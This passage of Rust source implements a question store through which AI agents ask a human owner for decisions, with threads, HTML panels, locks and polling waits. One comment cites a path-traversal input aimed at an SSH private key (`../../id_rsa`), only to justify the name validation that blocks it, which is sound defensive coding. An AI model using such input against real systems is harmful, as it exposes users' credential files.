896    ///
897    /// `choices` replaces [`Question::choices`] wholesale rather than merging,
898    /// on the same reasoning [`Questions::put_panel`] replaces a panel
899    /// wholesale: the whole point of asking back is that what should be
900    /// offered next may have changed, and a caller that wanted the old set
901    /// unchanged can simply pass it again. An empty `Vec` means free text,
902    /// exactly as it does when the question is first asked.
903    pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
904        match self.status {
905            QuestionStatus::Answered => bail!(
906                "question {} was already answered; replying now would not \
907                 reach anyone",
908                self.short()
909            ),
910            QuestionStatus::Abandoned => bail!(
911                "question {} was abandoned and the run behind it is gone",
912                self.short()
913            ),
914            QuestionStatus::Open => {}
915        }
916        let body = body.into();
917        if body.trim().is_empty() {
918            bail!("a reply to question {} cannot be empty", self.short());
919        }
920        // An action whose label is no longer offered could never fire.
921        self.actions.retain(|label, _| choices.contains(label));
922        self.choices = choices;
923        let unread = self.unread_from_owner().is_some();
924        self.thread.push(Turn {
925            who: Who::Agent,
926            body,
927            at: Timestamp::now(),
928            note: None,
929        });
930        // The agent has read everything up to its own reply - but only if
931        // nothing the owner said in the meantime is still unread. A second say
932        // that landed after the agent's last look must stay undelivered.
933        if !unread {
934            self.delivered_turns = self.thread.len();
935        }
936        Ok(())
937    }
938
939    /// What the owner said that the agent has not read yet, oldest first,
940    /// joined. `None` unless the question is open and such a turn exists.
941    ///
942    /// Not [`Question::waiting_on_agent`]: an agent's reply can land *after* a
943    /// second owner turn it never saw, which leaves the last turn the agent's
944    /// and the ball apparently back with the owner while a say is still unread.
945    pub fn unread_from_owner(&self) -> Option<String> {
946        if !self.status.open() {
947            return None;
948        }
949        let said = self.undelivered_owner_turns();
950        (!said.is_empty()).then(|| said.join("\n\n"))
951    }
952
953    /// Owner turns the agent has not been handed yet, oldest first, whatever
954    /// the question's status. [`Question::unread_from_owner`] adds the "still
955    /// open" guard the waiter and the deputy rely on; an answer being handed
956    /// over needs the says that came before it even though the question is
957    /// closed by then.
958    pub fn undelivered_owner_turns(&self) -> Vec<&str> {
959        let from = self.delivered_turns.min(self.thread.len());
960        self.thread[from..]
961            .iter()
962            .filter(|t| t.who == Who::Operator)
963            .map(|t| t.body.as_str())
964            .collect()
965    }
966
967    /// When the conversation last moved: the newest thread turn, or the asking
968    /// itself, in seconds. `magi ask --thread` re-arms `answer_timeout` on
969    /// every reply, so a deadline runs from here and not from `asked_at`.
970    pub fn last_activity(&self) -> i64 {
971        self.thread
972            .iter()
973            .map(|t| t.at.as_second())
974            .max()
975            .unwrap_or(0)
976            .max(self.asked_at.as_second())
977    }
978
979    /// Is the ball in the agent's court?
980    ///
981    /// True from the moment the owner speaks back until the agent's next
982    /// [`Question::reply`], and never on a fresh or an already-settled
983    /// question. [`QuestionStatus`] does not move for either side of this -
984    /// see [`Question::say`] - so this is the one place that state is
985    /// readable at all, which is why [`crate::web::QuestionView`] carries it
986    /// separately rather than asking the phone to infer it from the thread.
987    pub fn waiting_on_agent(&self) -> bool {
988        self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
989    }
990
991    /// Should a notification go out right now?
992    ///
993    /// Always, for the very first ask: [`Question::thread`] is still empty, so
994    /// there is no earlier operator turn to have already caught anyone's
995    /// attention. After that, only once [`REPLY_QUIET_WINDOW`] has passed
996    /// since the owner's own last word - see that constant for why the window
997    /// exists at all and why its length is not configurable.
998    fn should_notify(&self, now: Timestamp) -> bool {
999        let Some(last) = self
1000            .thread
1001            .iter()
1002            .rev()
1003            .find(|t| t.who == Who::Operator)
1004            .map(|t| t.at)
1005        else {
1006            return true;
1007        };
1008        now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1009    }
1010}
1011
1012/// A question store on disk.
1013#[derive(Debug, Clone)]
1014pub struct Questions {
1015    root: PathBuf,
1016}
1017
1018impl Questions {
1019    /// The operator's questions, `<home>/questions`.
1020    pub fn open() -> Self {
1021        Self::at(crate::run::home().join("questions"))
1022    }
1023
1024    /// A store at an explicit root. Tests use this, which is why none of them
1025    /// need the operator's real home.
1026    pub fn at(root: PathBuf) -> Self {
1027        Self { root }
1028    }
1029
1030    /// Directory holding the question files.
1031    pub fn root(&self) -> &Path {
1032        &self.root
1033    }
1034
1035    /// Path for one question id.
1036    pub fn path_of(&self, id: &str) -> PathBuf {
1037        self.root.join(format!("{id}.json"))
1038    }
1039
1040    /// Directory holding one question's panel, `<root>/<id>.panel`.
1041    pub fn panel_dir(&self, id: &str) -> PathBuf {
1042        self.root.join(format!("{id}{PANEL_DIR}"))
1043    }
1044
1045    /// Store a panel: the html, plus `assets` copied in under their base
1046    /// names. Updates `q.panel` and `q.assets`; the caller then [`put`]s the
1047    /// question, or the record on disk will deny having a panel that exists.
1048    ///
1049    /// The assets are **copied, not referenced**. An agent authors its panel
1050    /// inside a candidate worktree and points at files there, and `magi fold`
1051    /// deletes those worktrees; a question is the permanent record of a
1052    /// decision the owner took, so a panel that referenced its own images
1053    /// would render as broken boxes exactly when someone went back to ask why
1054    /// the decision was made. Copying follows symlinks - [`std::fs::copy`]
1055    /// does, and so does the [`std::fs::metadata`] the size is measured with,
1056    /// so the bytes counted and the bytes written are the same target file's -
1057    /// which is the intent: storing a link would leave the panel pointing at
1058    /// the worktree again, one indirection further away.
1059    ///
1060    /// Everything that can be rejected is rejected before the first byte is
1061    /// written, and the panel is then assembled in a scratch directory and
1062    /// swapped in. So a refusal leaves the previous panel intact, and a
1063    /// success replaces it *wholesale* rather than merging: a re-asked
1064    /// question showing one attempt's diff next to another attempt's table
1065    /// would be a panel neither agent ever wrote.
1066    ///
1067    /// [`put`]: Questions::put
1068    pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1069        if !valid_asset_name(&q.id) {
1070            bail!(
1071                "question id `{}` is not a name magi will build a panel path from",
1072                q.id
1073            );
1074        }
1075        if html.trim().is_empty() {
1076            bail!(
1077                "question {} was handed an empty panel; an empty frame reads to \
1078                 the owner as \"the agent had nothing to say\", which is a lie",
1079                q.short()
1080            );
1081        }
1082
1083        // Names, then sizes, then writing - in that order, so nothing below
1084        // can leave a partial panel on disk.
1085        let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1086        for src in assets {
1087            let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1088            if !valid_asset_name(name) {
1089                bail!(
1090                    "panel asset `{}` cannot be stored: a panel file name must \
1091                     match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1092                    src.display()
1093                );
1094            }
1095            if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1096                bail!(
1097                    "two panel assets are both named `{name}` - {} and {} - and \
1098                     the panel can only show one of them; rename one at the source",
1099                    first.display(),
1100                    src.display()
1101                );
1102            }
1103            named.push((name.to_owned(), src.as_path()));
1104        }
1105
1106        let mut total = html.len() as u64;
1107        for (_, src) in &named {
1108            let meta = std::fs::metadata(src)
1109                .with_context(|| format!("stat panel asset {}", src.display()))?;
1110            if !meta.is_file() {
1111                bail!(
1112                    "panel asset `{}` is not a file; a panel is html plus files \
1113                     copied beside it",
1114                    src.display()
1115                );
1116            }
1117            total = total.saturating_add(meta.len());
1118        }
1119        if total > PANEL_MAX_BYTES {
1120            bail!(
1121                "panel for question {} is {total} bytes, over magi's cap of \
1122                 {PANEL_MAX_BYTES} bytes; nothing was written",
1123                q.short()
1124            );
1125        }
1126
1127        let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1128        let dir = self.panel_dir(&q.id);
1129        std::fs::create_dir_all(&self.root)
1130            .with_context(|| format!("create {}", self.root.display()))?;
1131        clear_dir(&tmp)?;
1132        std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1133        if let Err(e) = fill_panel(&tmp, html, &named) {
1134            // A copy that dies halfway must not become the panel, and must not
1135            // leave scratch behind for the next call to inherit.
1136            let _ = std::fs::remove_dir_all(&tmp);
1137            return Err(e);
1138        }
1139        clear_dir(&dir)?;
1140        std::fs::rename(&tmp, &dir)
1141            .with_context(|| format!("move panel into {}", dir.display()))?;
1142
1143        q.panel = true;
1144        q.assets = named.into_iter().map(|(n, _)| n).collect();
1145        q.assets.sort_unstable();
1146        Ok(())
1147    }
1148
1149    /// The panel's html, or `None` when the question has no panel.
1150    ///
1151    /// `None` rather than an error for a missing panel because the caller is a
1152    /// web handler whose answer is 404 either way, and an unreadable panel is
1153    /// not a reason to fail the question it belongs to.
1154    pub fn panel_html(&self, id: &str) -> Option<String> {
1155        if !valid_asset_name(id) {
1156            return None;
1157        }
1158        std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1159    }
1160
1161    /// One file from a panel. `Ok(None)` is "no such file"; `Err` is "that is
1162    /// not a name a panel file can have".
1163    ///
1164    /// Rejects a name failing [`valid_asset_name`] **before touching the
1165    /// filesystem**, which is the whole point of the second check: the name
1166    /// arrives from a URL, the directory is on disk where any process could
1167    /// have dropped a file, and `<root>/<id>.panel/../../id_rsa` is a path the
1168    /// operating system would resolve perfectly happily. The two callers'
1169    /// distinct outcomes - 400 for a name, 404 for a file - are why this is
1170    /// `Result<Option<_>>` rather than one flattened `Option`.
1171    pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1172        if !valid_asset_name(name) {
1173            bail!(
1174                "`{name}` is not a panel file name; it must match \
1175                 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1176            );
1177        }
1178        if !valid_asset_name(id) {
1179            return Ok(None);
1180        }
1181        let dir = self.panel_dir(id);
1182        if !dir.is_dir() {
1183            return Ok(None);
1184        }
1185        let path = dir.join(name);
1186        match std::fs::read(&path) {
1187            Ok(bytes) => Ok(Some(bytes)),
1188            Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1189            Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1190        }
1191    }
1192
1193    /// Delete a question's panel, and any scratch a killed [`put_panel`] left.
1194    ///
1195    /// Succeeds when there is nothing to delete, so a caller cleaning up does
1196    /// not have to know whether a panel was ever written. The question record
1197    /// is not touched: the caller clears `panel` and `assets` and `put`s it,
1198    /// in the same order as everywhere else here.
1199    ///
1200    /// [`put_panel`]: Questions::put_panel
1201    pub fn drop_panel(&self, id: &str) -> Result<()> {
1202        if !valid_asset_name(id) {
1203            bail!("question id `{id}` is not a name magi will build a panel path from");
1204        }
1205        clear_dir(&self.panel_dir(id))?;
1206        clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1207    }
1208
1209    /// Path of the lease sidecar for one question id.
1210    pub fn lease_path(&self, id: &str) -> PathBuf {
1211        self.root.join(format!("{id}.lease"))
1212    }
1213
1214    /// The lease on a question, if a readable one exists.
1215    pub fn read_lease(&self, id: &str) -> Option<Lease> {
1216        let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1217        serde_json::from_str(&body).ok()
1218    }
1219
1220    /// Say, as `kind`, that something is alive and waiting on this question.
1221    ///
1222    /// Best-effort: a beat that cannot be written is a `tracing::debug`, never
1223    /// a reason to abandon a wait - the worst it costs is the waiter deciding
1224    /// the holder is gone a little early, and that is what the delivery guard
1225    /// (the seat still being busy) is there for.
1226    pub fn beat(&self, id: &str, kind: WaiterKind) {
1227        let lease = Lease {
1228            kind,
1229            pid: std::process::id(),
1230            beat_at: Timestamp::now(),
1231        };
1232        let path = self.lease_path(id);
1233        let tmp = path.with_extension("lease.tmp");
1234        let written = std::fs::create_dir_all(&self.root)
1235            .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1236            .and_then(|()| std::fs::rename(&tmp, &path));
1237        if let Err(e) = written {
1238            tracing::debug!("could not beat the lease on question {id}: {e}");
1239        }
1240    }
1241
1242    /// Remove the lease sidecar. Absent is fine.
1243    pub fn drop_lease(&self, id: &str) {
1244        let _ = std::fs::remove_file(self.lease_path(id));
1245    }
1246
1247    /// Read-modify-write one question under a short exclusive lock, so the
1248    /// waiter's bookkeeping, the asker's and the phone's `say` cannot overwrite
1249    /// each other with a copy that predates the others.
1250    ///
1251    /// [`Questions::put`] is an atomic *replace*, which protects a reader from
1252    /// a torn file and does nothing for two writers that both read the same
1253    /// version first. Everything that changes a question that can still be
1254    /// answered goes through here: `f` sees the current record, not one loaded
1255    /// earlier. A lock older than [`LOCK_STALE`] belongs to a writer that died
1256    /// mid-update and is broken.
1257    pub fn update<T>(
1258        &self,
1259        id: &str,
1260        f: impl FnOnce(&mut Question) -> Result<T>,
1261    ) -> Result<(Question, T)> {
1262        std::fs::create_dir_all(&self.root)
1263            .with_context(|| format!("create {}", self.root.display()))?;
1264        let lock = self.root.join(format!("{id}.lock"));
1265        let started = std::time::Instant::now();
1266        loop {
1267            match std::fs::OpenOptions::new()
1268                .write(true)
1269                .create_new(true)
1270                .open(&lock)
1271            {
1272                Ok(_) => break,
1273                Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1274                    let stale = std::fs::metadata(&lock)
1275                        .and_then(|m| m.modified())
1276                        .ok()
1277                        .and_then(|t| t.elapsed().ok())
1278                        .is_some_and(|age| age > LOCK_STALE);
1279                    if stale {
1280                        let _ = std::fs::remove_file(&lock);
1281                    } else if started.elapsed() > LOCK_STALE {
1282                        bail!("could not lock question {id}");
1283                    } else {
1284                        std::thread::sleep(Duration::from_millis(15));
1285                    }
1286                }
1287                Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1288            }
1289        }
1290        struct Unlock(PathBuf);
1291        impl Drop for Unlock {
1292            fn drop(&mut self) {
1293                let _ = std::fs::remove_file(&self.0);
1294            }
1295        }
1296        let _guard = Unlock(lock);
1297        let mut q = read_path(&self.path_of(id))?;
1298        let out = f(&mut q)?;
1299        self.put(&mut q)?;
1300        Ok((q, out))
1301    }
1302
1303    /// Write a question, atomically, so a process killed mid-write leaves the
1304    /// previous state readable rather than a truncated file that would strand
1305    /// the run waiting on it.
1306    pub fn put(&self, q: &mut Question) -> Result<()> {
1307        std::fs::create_dir_all(&self.root)
1308            .with_context(|| format!("create {}", self.root.display()))?;
1309        let body = serde_json::to_string_pretty(q).context("serialize question")?;
1310        let path = self.path_of(&q.id);
1311        let tmp = path.with_extension("json.tmp");
1312        let is_new = !path.exists();
1313        std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1314        std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1315        // A first write of an open question pages the operator, so a separate
1316        // notification about the same task or run is now a second page.
1317        if is_new
1318            && q.status.open()
1319            && q.node != crate::bump::NOTICE_NODE
1320            && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1321        {
1322            crate::notices::quiet_for(home, q);
1323        }
1324        Ok(())
1325    }
1326
1327    /// Load a question by id or unambiguous id prefix.
1328    pub fn get(&self, id: &str) -> Result<Question> {
1329        let resolved = self.resolve_id(id)?;
1330        read_path(&self.path_of(&resolved))
1331    }
1332
1333    /// Every question on disk: open first, then newest first.
1334    ///
1335    /// Open first because that ordering is the product - the list exists to
1336    /// show the operator what has stopped, and an answered question is history
1337    /// underneath it. Unreadable files are skipped rather than fatal: one
1338    /// corrupt question must not take the web UI down, and must certainly not
1339    /// hide the open question the operator was looking for.
1340    pub fn list(&self) -> Vec<Question> {
1341        let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1342            .into_iter()
1343            .flatten()
1344            .flatten()
1345            .map(|e| e.path())
1346            .filter(|p| p.extension().is_some_and(|x| x == "json"))
1347            .filter_map(|p| read_path(&p).ok())
1348            .collect();
1349        all.sort_unstable_by(|a, b| {
1350            let rank = |q: &Question| u8::from(!q.status.open());
1351            rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1352        });
1353        all
1354    }
1355
1356    /// Open questions belonging to one run, newest first.
1357    ///
1358    /// Used to decide whether a parked run can be resumed: while this is
1359    /// non-empty, nothing about the run has changed and no agent should be
1360    /// spawned for it.
1361    pub fn open_for(&self, run: &str) -> Vec<Question> {
1362        self.list()
1363            .into_iter()
1364            .filter(|q| q.status.open() && q.run == run)
1365            .collect()
1366    }
1367
1368    /// Abandon every open question belonging to a run, and report how many.
1369    ///
1370    /// Called when a run's record is deleted. The agent that asked died with
1371    /// the run, so there is nobody left to hand an answer to, and a question
1372    /// left open would keep asking the operator for a decision that can no
1373    /// longer be delivered - the phone showed exactly that: "auth.rs というファ
1374    /// イルが見つかりません" with two buttons, for a run whose directory had
1375    /// been gone for two hours.
1376    ///
1377    /// Abandoned rather than deleted, because [`Question::abandon`] already
1378    /// means "this can no longer be answered" and the record of having asked
1379    /// is worth keeping. Answered questions are left exactly as they are.
1380    pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1381        let mut abandoned = 0;
1382        for mut q in self.open_for(run) {
1383            q.abandon(why);
1384            self.put(&mut q)?;
1385            abandoned += 1;
1386        }
1387        Ok(abandoned)
1388    }
1389
1390    /// Abandon a run's open questions once `status` says the run is not
1391    /// coming back, worded with what it actually became.
1392    ///
1393    /// The run-deleted case above and this one are the same fact - nobody is
1394    /// left to read an answer - reached by two different doors. This is the
1395    /// one for a run that finished on its own: merged, reached `Ready` with
1396    /// nothing left to do, failed outright with no established point to
1397    /// resume from, or every candidate agreed, with evidence, that nothing
1398    /// belonged in the worktree. Those are exactly the statuses
1399    /// [`RunStatus::resumable`]
1400    /// excludes, and that is the line this draws too - deliberately not
1401    /// [`RunStatus::done`], which also counts `Blocked` and `Stalled` as
1402    /// over. Both of those can still be picked back up with the candidates,
1403    /// the review round and the seat sessions already on disk, so a question
1404    /// asked mid-round may yet get a real answer from a real resume, and
1405    /// folding it here would be exactly the mistake this function exists to
1406    /// avoid on the other side - answering back into a run that no longer
1407    /// exists to read it.
1408    ///
1409    /// A no-op, not an error, when `status` is still resumable or when there
1410    /// was nothing open to begin with - callers reach this from more than one
1411    /// place a run can settle, and a second call finding nothing left to
1412    /// abandon is the expected case, not a bug.
1413    pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1414        if status.resumable() {
1415            return Ok(0);
1416        }
1417        let why = format!(
1418            "run {run} {}, so nothing is waiting for this answer",
1419            status.as_str()
1420        );
1421        // A post-merge notice is the exception: it is filed *because* the run
1422        // merged, and no agent waits on it - it is a to-do for the owner, not
1423        // a question a dead seat asked. Abandoning it here would erase the
1424        // only alert the moment the run settles.
1425        let mut abandoned = 0;
1426        for mut q in self.open_for(run) {
1427            if q.node == crate::bump::NOTICE_NODE {
1428                continue;
1429            }
1430            q.abandon(&why);
1431            self.put(&mut q)?;
1432            abandoned += 1;
1433        }
1434        Ok(abandoned)
1435    }
1436
1437    /// Expand an id prefix to exactly one question id. The short id the phone
1438    /// and the reports show is a suffix, so that is accepted too.
1439    pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1440        if self.path_of(prefix).is_file() {
1441            return Ok(prefix.to_owned());
1442        }
1443        let hits: Vec<String> = self
1444            .list()
1445            .into_iter()
1446            .map(|q| q.id)
1447            .filter(|id| id.starts_with(prefix) || id.ends_with(prefix))
1448            .collect();
1449        match hits.len() {
1450            1 => Ok(hits.into_iter().next().expect("exactly one hit")),
1451            0 => bail!("no question matches `{prefix}`"),
1452            _ => bail!(
1453                "`{prefix}` matches {} questions: {}",
1454                hits.len(),
1455                hits.join(", ")
1456            ),
1457        }
1458    }
1459
1460    /// Newest modification time in the store, in milliseconds, for change
1461    /// detection. The web UI compares this instead of re-reading every
1462    /// question, so an idle phone on a slow link costs one `stat` per file.
1463    pub fn revision(&self) -> u64 {
1464        std::fs::read_dir(&self.root)
1465            .into_iter()
1466            .flatten()
1467            .flatten()
1468            .filter_map(|e| e.metadata().ok())
1469            .filter_map(|m| m.modified().ok())
1470            .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1471            .map(|d| d.as_millis() as u64)
1472            .max()
1473            .unwrap_or(0)
1474    }
1475
1476    /// How many questions are open, whichever side of the conversation is
1477    /// holding the ball right now. Ten turns of back and forth between the
1478    /// owner and the agent are still one open question - see
1479    /// [`Question::say`] - so this does not drop while a reply is in
1480    /// flight. [`Self::count_needs_owner`] is the number that does.
1481    pub fn count_open(&self) -> usize {
1482        self.list().iter().filter(|q| q.status.open()).count()
1483    }
1484
1485    /// How many open questions actually need the owner right now: open, and
1486    /// not [`Question::waiting_on_agent`].
1487    ///
1488    /// This is the number a notification channel owes - the ask bar, the nav
1489    /// badge, the document title - because those exist to say "something
1490    /// needs you", and a question sitting in `magi ask --thread` limbo does
1491    /// not. `count_open` stays as it is for [`Self::open_for`]'s callers,
1492    /// where a round trip must not look like the run resumed.
1493    pub fn count_needs_owner(&self) -> usize {
1494        self.list()
1495            .iter()
1496            .filter(|q| q.status.open() && !q.waiting_on_agent())
1497            .count()
1498    }
1499}
1500
1501/// How a wait over [`Question`] ended.
1502#[derive(Debug, Clone, PartialEq, Eq)]
1503pub enum Wait {
1504    /// The owner decided. Carries [`Question::resolution`].
1505    Answered(String),
1506    /// The owner spoke back without deciding - see [`Question::say`]. The
1507    /// question is still [`QuestionStatus::Open`] and carries no [`Answer`];
1508    /// the caller's move is to hand this text to the agent and let it call
1509    /// `magi ask --thread` to keep talking, not to treat it as a decision.
1510    Replied(String),
1511    /// This call's [`WAIT_SLICE`] ran out with the question still
1512    /// [`QuestionStatus::Open`] and nothing having happened - not the owner
1513    /// going quiet, the clock on *this process* running out. The question is
1514    /// untouched; the caller's move is `magi ask --wait <id>` in a fresh
1515    /// process, so the wait resumes before the shell tool that would have
1516    /// killed this one gets the chance.
1517    Pending,
1518    /// Nobody said anything before the deadline, or the question was closed
1519    /// out from under the wait with no decision recorded - a run deleted out
1520    /// from under it, most often. Either way [`QuestionStatus::Abandoned`] is
1521    /// now on disk.
1522    Abandoned,
1523}
1524
1525/// File a question and wait for the owner, polling the store.
1526///
1527/// The question is updated in place from disk whenever the wait ends, so the
1528/// caller can act on it without re-reading it. `timeout` is the question's
1529/// whole `answer_timeout` budget, but this call spends at most [`WAIT_SLICE`]
1530/// of it - see [`Wait::Pending`] for what happens to the rest.
1531pub async fn ask_and_wait(
1532    q: &mut Question,
1533    store: &Questions,
1534    notify: &config::Notify,
1535    timeout: Duration,
1536) -> Result<Wait> {
1537    wait_for_owner(q, store, notify, timeout, POLL).await
1538}
1539
1540/// Resume a wait already filed, without adding a turn or notifying again.
1541///
1542/// This is `magi ask --wait <id>`'s engine: the process that owned the
1543/// previous slice is dead (the tool that ran it killed it, or it simply
1544/// exited after reporting [`Wait::Pending`]), but the question on disk never
1545/// stopped being open, and the owner was already notified about it once. A
1546/// second notification for the same unanswered question would page the
1547/// owner every [`WAIT_SLICE`] for a question they have already seen - so,
1548/// unlike [`ask_and_wait`], this skips straight to polling.
1549///
1550/// `timeout` is **not** re-armed to a fresh `answer_timeout` here - the
1551/// caller computes it as what remains until [`Question::asked_at`] plus the
1552/// configured `answer_timeout`, so stacking `--wait` calls can only ever use
1553/// up the deadline the first ask set, never push it out further.
1554pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1555    wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1556}
1557
1558/// [`ask_and_wait`] with the poll interval injected.
1559///
1560/// Separate only so the tests can drive a whole wait in milliseconds instead of
1561/// sleeping through [`POLL`]; production has exactly one interval, and it is not
1562/// a knob the operator gets to tune.
1563async fn wait_for_owner(
1564    q: &mut Question,
1565    store: &Questions,
1566    cfg: &config::Notify,
1567    timeout: Duration,
1568    poll: Duration,
1569) -> Result<Wait> {
1570    // A question that is already on disk (a `--thread` reply just wrote it under
1571    // the lock) is left alone: this copy may predate an answer or say that
1572    // landed since, and writing it back would erase that.
1573    if !store.path_of(&q.id).is_file() {
1574        store.put(q).context("file the question")?;
1575    }
1576    if q.should_notify(Timestamp::now()) {
1577        if let Err(e) = notify(cfg, q).await {
1578            // A broken webhook is not a reason to throw away an implementation.
1579            // The question is already on disk and the web UI already shows it,
1580            // so the operator still has a way in; only the tap on the shoulder
1581            // is lost.
1582            tracing::warn!(
1583                "could not notify about question {}: {e:#} - the web UI is the \
1584                 only surface for it now",
1585                q.short()
1586            );
1587        }
1588    }
1589    tracing::info!(
1590        "question {} from {} is waiting for you: {}",
1591        q.short(),
1592        q.seat,
1593        q.summary
1594    );
1595    wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1596}
1597
1598/// Take the wait as this process: beat the lease and note it on the record.
1599fn hold(store: &Questions, id: &str) {
1600    store.beat(id, WaiterKind::Asker);
1601    let took = store.update(id, |q| {
1602        if q.status.open() {
1603            q.waiter = Some(Waiter {
1604                kind: WaiterKind::Asker,
1605                since: Timestamp::now(),
1606            });
1607        }
1608        Ok(())
1609    });
1610    if let Err(e) = took {
1611        tracing::debug!("could not note the wait on question {id}: {e:#}");
1612    }
1613}
1614
1615/// Record that the agent has read everything so far, so the daemon waiter does
1616/// not resume a session to tell it what was already printed.
1617///
1618/// Callers must invoke this only **after** the word reached the agent's stdout:
1619/// marking first would let a tool timeout kill the process between the mark
1620/// and the print, and the waiter would then consider a word delivered that no
1621/// agent ever saw.
1622pub fn hand_over(store: &Questions, q: &mut Question) {
1623    let done = store.update(&q.id, |r| {
1624        r.delivered_turns = r.delivered_turns.max(q.thread.len());
1625        if r.status == QuestionStatus::Answered {
1626            r.answer_delivered = true;
1627        }
1628        r.waiter = None;
1629        Ok(())
1630    });
1631    match done {
1632        Ok((fresh, ())) => *q = fresh,
1633        Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1634    }
1635}
1636
1637/// What the agent is shown for an answer: the owner's says it has not read
1638/// yet, in order, then the answer. With no such say it is `answer` itself,
1639/// byte for byte.
1640pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1641    let says = q.undelivered_owner_turns();
1642    if says.is_empty() {
1643        return answer.to_owned();
1644    }
1645    format!(
1646        "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1647        says.join("\n\n")
1648    )
1649}
1650
1651/// Print an answer (with any unread says before it) to `out`, flush, and only
1652/// then record the hand-over. A failed write marks nothing delivered.
1653pub fn deliver_answer(
1654    store: &Questions,
1655    q: &mut Question,
1656    answer: &str,
1657    out: &mut impl std::io::Write,
1658) -> std::io::Result<()> {
1659    writeln!(out, "{}", answer_for_agent(q, answer))?;
1660    out.flush()?;
1661    hand_over(store, q);
1662    Ok(())
1663}
1664
1665/// The polling loop shared by a fresh wait and a resumed one.
1666///
1667/// `timeout` is the budget left before the question's `answer_timeout`
1668/// truly runs out; `slice` bounds how much of that this one call spends
1669/// before handing control back. Landing on `slice` while `timeout` still has
1670/// budget left is [`Wait::Pending`] - the caller's move, not the owner's
1671/// silence. Landing on `timeout` itself - because it was no bigger than
1672/// `slice` to begin with - is the real thing, and abandons the question
1673/// exactly as a single unsliced wait always did.
1674async fn wait_loop(
1675    q: &mut Question,
1676    store: &Questions,
1677    timeout: Duration,
1678    slice: Duration,
1679    poll: Duration,
1680) -> Result<Wait> {
1681    // The owner may already have spoken back before this call ever started -
1682    // most often because they did so in the gap between an earlier call
1683    // reporting `Wait::Pending` and this one picking the wait back up with
1684    // `--wait`. That word must surface at once rather than sit unnoticed
1685    // until some *later* turn happens to change something: this call never
1686    // saw it get added, so nothing below would otherwise recognise it as
1687    // new. `last_word_awaiting_reply` reads the question's own record of
1688    // whose turn it is - see [`Question::waiting_on_agent`] - rather than a
1689    // turn count this call would have to have been there to capture.
1690    if let Some(said) = q.unread_from_owner() {
1691        return Ok(Wait::Replied(said));
1692    }
1693    hold(store, &q.id);
1694
1695    let bounded = timeout.min(slice);
1696    let is_the_real_deadline = bounded >= timeout;
1697    let deadline = tokio::time::Instant::now() + bounded;
1698    loop {
1699        let now = tokio::time::Instant::now();
1700        if now >= deadline {
1701            if !is_the_real_deadline {
1702                // The lease is left to age out on purpose: the caller is about
1703                // to run `magi ask --wait`, and that gap is what LEASE_TTL
1704                // covers.
1705                return Ok(Wait::Pending);
1706            }
1707            let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
1708            // Re-checked on the record as it is now: the owner may have said
1709            // something in time since the last poll, and that word is handed
1710            // over, not abandoned.
1711            let (fresh, unread) = store
1712                .update(&q.id, |r| {
1713                    let unread = r.unread_from_owner();
1714                    if unread.is_none() {
1715                        r.abandon(&why);
1716                        r.waiter = None;
1717                    }
1718                    Ok(unread)
1719                })
1720                .context("record the abandoned question")?;
1721            *q = fresh;
1722            if let Some(said) = unread {
1723                return Ok(Wait::Replied(said));
1724            }
1725            tracing::warn!(
1726                "question {} went unanswered for {}s; the run parks and the \
1727                 question stays as the record of it",
1728                q.short(),
1729                timeout.as_secs()
1730            );
1731            return Ok(Wait::Abandoned);
1732        }
1733        tokio::time::sleep(poll.min(deadline - now)).await;
1734        store.beat(&q.id, WaiterKind::Asker);
1735        match store.get(&q.id) {
1736            Ok(fresh) if !fresh.status.open() => {
1737                // Whoever answered - the phone, `magi answer`, another daemon -
1738                // owns the record now, so adopt theirs wholesale rather than
1739                // merging into a copy that predates it.
1740                *q = fresh;
1741                return Ok(match q.resolution() {
1742                    Some(a) => Wait::Answered(a),
1743                    // Closed with no decision - abandoned elsewhere, most
1744                    // often by the run behind it being deleted mid-wait.
1745                    None => Wait::Abandoned,
1746                });
1747            }
1748            Ok(fresh) => {
1749                if let Some(said) = fresh.unread_from_owner() {
1750                    *q = fresh;
1751                    return Ok(Wait::Replied(said));
1752                }
1753                // Still open and not waiting on the agent - nothing this
1754                // wait cares about happened, so keep polling.
1755            }
1756            Err(e) => {
1757                // Mid-rename, or a file the operator is editing by hand.
1758                // Neither is a reason to abandon a question a human may still
